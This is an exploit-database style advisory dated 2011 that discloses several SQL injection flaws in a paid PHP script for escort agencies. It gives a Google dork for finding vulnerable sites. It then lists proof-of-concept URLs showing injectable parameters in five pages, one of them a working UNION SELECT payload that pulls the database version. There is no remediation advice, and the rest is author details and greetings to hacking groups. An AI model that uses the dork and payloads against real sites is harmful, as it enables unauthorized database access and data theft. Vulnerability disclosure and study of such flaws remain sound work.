Escort Agency Script Multiple SQL Injection Vulnerabilities

# Exploit Title: Escort Agency Script Multiple SQL Injection Vulnerabilities
# Google Dork: inurl:”escort-profile.php?modelid=”
# Platform: php
# Date: 18.04.2011
# Author: NoNameMT
# Software Link: http://www.first-escort-marketing.co.uk/agencies.html
# Price: 599 £
# Tested on: Windows 7
# Mail: [email protected]
# Homepage: http://nonamemt.us

# Proof of Concept:

http://site.com/escort_agency/escort-profile.php?modelid=13′[Blind-SQL]

http://site.com/escort_agency/write_review.php?modelid=13′[SQL]

http://site.com/escort_agency/booking-form.php?modelid=13′[SQL]

http://site.com/escort_agency/gallery_escorts.php?gallery_id=13′[SQL]

http://site.com/escort_agency/banner.php?categoryID=-2′+union+select+1,version(),3,4,5,6,7–+

# Greetings:

Team-Internet, 4004-security-project.com, bursali, Easy Laster

Quelle : NoNameMT